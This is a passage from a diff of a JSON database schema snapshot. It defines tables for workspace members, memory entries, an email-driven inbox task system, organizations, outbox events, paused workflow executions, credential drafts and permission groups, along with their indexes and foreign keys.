"mcp_servers_workspace_id_workspace_id_fk": { + "name": "mcp_servers_workspace_id_workspace_id_fk", + "tableFrom": "mcp_servers", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "mcp_servers_created_by_user_id_fk": { + "name": "mcp_servers_created_by_user_id_fk", + "tableFrom": "mcp_servers", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.member": { + "name": "member", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "member_user_id_unique": { + "name": "member_user_id_unique", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "member_organization_id_idx": { + "name": "member_organization_id_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "member_user_id_user_id_fk": { + "name": "member_user_id_user_id_fk", + "tableFrom": "member", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "member_organization_id_organization_id_fk": { + "name": "member_organization_id_organization_id_fk", + "tableFrom": "member", + "tableTo": "organization", + "columnsFrom": ["organization_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.memory": { + "name": "memory", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "data": { + "name": "data", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "memory_key_idx": { + "name": "memory_key_idx", + "columns": [ + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "memory_workspace_idx": { + "name": "memory_workspace_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "memory_workspace_key_idx": { + "name": "memory_workspace_key_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "memory_workspace_deleted_partial_idx": { + "name": "memory_workspace_deleted_partial_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"memory\".\"deleted_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "memory_workspace_id_workspace_id_fk": { + "name": "memory_workspace_id_workspace_id_fk", + "tableFrom": "memory", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.mothership_inbox_allowed_sender": { + "name": "mothership_inbox_allowed_sender", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "added_by": { + "name": "added_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "inbox_sender_ws_email_idx": { + "name": "inbox_sender_ws_email_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "mothership_inbox_allowed_sender_workspace_id_workspace_id_fk": { + "name": "mothership_inbox_allowed_sender_workspace_id_workspace_id_fk", + "tableFrom": "mothership_inbox_allowed_sender", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "mothership_inbox_allowed_sender_added_by_user_id_fk": { + "name": "mothership_inbox_allowed_sender_added_by_user_id_fk", + "tableFrom": "mothership_inbox_allowed_sender", + "tableTo": "user", + "columnsFrom": ["added_by"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.mothership_inbox_task": { + "name": "mothership_inbox_task", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "from_email": { + "name": "from_email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "from_name": { + "name": "from_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "subject": { + "name": "subject", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "body_preview": { + "name": "body_preview", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "body_text": { + "name": "body_text", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "body_html": { + "name": "body_html", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "email_message_id": { + "name": "email_message_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "in_reply_to": { + "name": "in_reply_to", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "response_message_id": { + "name": "response_message_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agentmail_message_id": { + "name": "agentmail_message_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'received'" + }, + "chat_id": { + "name": "chat_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "trigger_job_id": { + "name": "trigger_job_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "result_summary": { + "name": "result_summary", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_message": { + "name": "error_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rejection_reason": { + "name": "rejection_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "has_attachments": { + "name": "has_attachments", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "cc_recipients": { + "name": "cc_recipients", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "processing_started_at": { + "name": "processing_started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "inbox_task_ws_created_at_idx": { + "name": "inbox_task_ws_created_at_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "inbox_task_ws_status_idx": { + "name": "inbox_task_ws_status_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "inbox_task_response_msg_id_idx": { + "name": "inbox_task_response_msg_id_idx", + "columns": [ + { + "expression": "response_message_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "inbox_task_email_msg_id_idx": { + "name": "inbox_task_email_msg_id_idx", + "columns": [ + { + "expression": "email_message_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "mothership_inbox_task_workspace_id_workspace_id_fk": { + "name": "mothership_inbox_task_workspace_id_workspace_id_fk", + "tableFrom": "mothership_inbox_task", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "mothership_inbox_task_chat_id_copilot_chats_id_fk": { + "name": "mothership_inbox_task_chat_id_copilot_chats_id_fk", + "tableFrom": "mothership_inbox_task", + "tableTo": "copilot_chats", + "columnsFrom": ["chat_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.mothership_inbox_webhook": { + "name": "mothership_inbox_webhook", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "webhook_id": { + "name": "webhook_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "secret": { + "name": "secret", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "mothership_inbox_webhook_workspace_id_workspace_id_fk": { + "name": "mothership_inbox_webhook_workspace_id_workspace_id_fk", + "tableFrom": "mothership_inbox_webhook", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "mothership_inbox_webhook_workspace_id_unique": { + "name": "mothership_inbox_webhook_workspace_id_unique", + "nullsNotDistinct": false, + "columns": ["workspace_id"] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.mothership_settings": { + "name": "mothership_settings", + "schema": "", + "columns": { + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "mcp_tool_refs": { + "name": "mcp_tool_refs", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "custom_tool_refs": { + "name": "custom_tool_refs", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "skill_refs": { + "name": "skill_refs", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "mothership_settings_workspace_id_idx": { + "name": "mothership_settings_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "mothership_settings_workspace_id_workspace_id_fk": { + "name": "mothership_settings_workspace_id_workspace_id_fk", + "tableFrom": "mothership_settings", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.organization": { + "name": "organization", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "logo": { + "name": "logo", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "json", + "primaryKey": false, + "notNull": false + }, + "whitelabel_settings": { + "name": "whitelabel_settings", + "type": "json", + "primaryKey": false, + "notNull": false + }, + "data_retention_settings": { + "name": "data_retention_settings", + "type": "json", + "primaryKey": false, + "notNull": false + }, + "org_usage_limit": { + "name": "org_usage_limit", + "type": "numeric", + "primaryKey": false, + "notNull": false + }, + "storage_used_bytes": { + "name": "storage_used_bytes", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "limit_notifications": { + "name": "limit_notifications", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "departed_member_usage": { + "name": "departed_member_usage", + "type": "numeric", + "primaryKey": false, + "notNull": true, + "default": "'0'" + }, + "credit_balance": { + "name": "credit_balance", + "type": "numeric", + "primaryKey": false, + "notNull": true, + "default": "'0'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.organization_member_usage_limit": { + "name": "organization_member_usage_limit", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "usage_limit": { + "name": "usage_limit", + "type": "numeric", + "primaryKey": false, + "notNull": true + }, + "set_by": { + "name": "set_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "org_member_usage_limit_org_user_unique": { + "name": "org_member_usage_limit_org_user_unique", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_member_usage_limit_organization_id_idx": { + "name": "org_member_usage_limit_organization_id_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "organization_member_usage_limit_organization_id_organization_id_fk": { + "name": "organization_member_usage_limit_organization_id_organization_id_fk", + "tableFrom": "organization_member_usage_limit", + "tableTo": "organization", + "columnsFrom": ["organization_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "organization_member_usage_limit_user_id_user_id_fk": { + "name": "organization_member_usage_limit_user_id_user_id_fk", + "tableFrom": "organization_member_usage_limit", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "organization_member_usage_limit_set_by_user_id_fk": { + "name": "organization_member_usage_limit_set_by_user_id_fk", + "tableFrom": "organization_member_usage_limit", + "tableTo": "user", + "columnsFrom": ["set_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.outbox_event": { + "name": "outbox_event", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "event_type": { + "name": "event_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "payload": { + "name": "payload", + "type": "json", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "max_attempts": { + "name": "max_attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 10 + }, + "available_at": { + "name": "available_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "locked_at": { + "name": "locked_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "processed_at": { + "name": "processed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "outbox_event_status_available_idx": { + "name": "outbox_event_status_available_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "available_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "outbox_event_locked_at_idx": { + "name": "outbox_event_locked_at_idx", + "columns": [ + { + "expression": "locked_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.paused_executions": { + "name": "paused_executions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "execution_id": { + "name": "execution_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "execution_snapshot": { + "name": "execution_snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "pause_points": { + "name": "pause_points", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "total_pause_count": { + "name": "total_pause_count", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "resumed_count": { + "name": "resumed_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'paused'" + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "paused_at": { + "name": "paused_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "next_resume_at": { + "name": "next_resume_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "paused_executions_workflow_id_idx": { + "name": "paused_executions_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "paused_executions_status_idx": { + "name": "paused_executions_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "paused_executions_execution_id_unique": { + "name": "paused_executions_execution_id_unique", + "columns": [ + { + "expression": "execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "paused_executions_next_resume_at_idx": { + "name": "paused_executions_next_resume_at_idx", + "columns": [ + { + "expression": "next_resume_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "status = 'paused' AND next_resume_at IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "paused_executions_workflow_id_workflow_id_fk": { + "name": "paused_executions_workflow_id_workflow_id_fk", + "tableFrom": "paused_executions", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pending_credential_draft": { + "name": "pending_credential_draft", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider_id": { + "name": "provider_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "display_name": { + "name": "display_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "credential_id": { + "name": "credential_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pending_draft_user_provider_ws": { + "name": "pending_draft_user_provider_ws", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pending_credential_draft_user_id_user_id_fk": { + "name": "pending_credential_draft_user_id_user_id_fk", + "tableFrom": "pending_credential_draft", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "pending_credential_draft_workspace_id_workspace_id_fk": { + "name": "pending_credential_draft_workspace_id_workspace_id_fk", + "tableFrom": "pending_credential_draft", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "pending_credential_draft_credential_id_credential_id_fk": { + "name": "pending_credential_draft_credential_id_credential_id_fk", + "tableFrom": "pending_credential_draft", + "tableTo": "credential", + "columnsFrom": ["credential_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.permission_group": { + "name": "permission_group", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "config": { + "name": "config", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "is_default": { + "name": "is_default", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + } + }, + "indexes": { + "permission_group_created_by_idx": { + "name": "permission_group_created_by_idx", + "columns": [ + { + "expression": "created_by", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "permission_group_organization_name_unique": { + "name": "permission_group_organization_name_unique", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "permission_group_organization_default_unique": { + "name": "permission_group_organization_default_unique", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "is_default = true", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "permission_group_organization_id_organization_id_fk": { + "name": "permission_group_organization_id_organization_id_fk", + "tableFrom": "permission_group", + "tableTo": "organization", + "columnsFrom": ["organization_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "permission_group_created_by_user_id_fk": { + "name": "permission_group_created_by_user_id_fk", + "tableFrom": "permission_group", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.permission_group_member": { + "name": "permission_group_member", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "permission_group_id": { + "name": "permission_group_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "assigned_by": { + "name": "assigned_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "assigned_at": { + "name": "assigned_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "permission_group_member_group_id_idx": { + "name": "permission_group_member_group_id_idx", + "columns": [ + { + "expression": "permission_group_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "permission_group_member_group_user_unique": { + "name": "permission_group_member_group_user_unique", + "columns": [ + { + "expression": "permission_group_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "permission_group_member_organization_user_idx": { + "name": "permission_group_member_organization_user_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "permission_group_member_permission_group_id_permission_group_id_fk": { + "name": "permission_group_member_permission_group_id_permission_group_id_fk", + "tableFrom": "permission_group_member", + "tableTo": "permission_group", + "columnsFrom": ["permission_group_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "permission_group_member_organization_id_organization_id_fk": { + "name": "permission_group_member_organization_id_organization_id_fk", + "tableFrom": "permission_group_member", + "tableTo": "organization", + "columnsFrom": ["organization_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "permission_group_member_user_id_user_id_fk": { + "name": "permission_group_member_user_id_user_id_fk", + "tableFrom": "permission_group_member", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "permission_group_member_assigned_by_user_id_fk": { + "name": "permission_group_member_assigned_by_user_id_fk", + "tableFrom": "permission_group_member", + "tableTo": "user", + "columnsFrom": ["assigned_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.permission_group_workspace": { + "name": "permission_group_workspace", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "permission_group_id": { + "name": "permission_group_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + 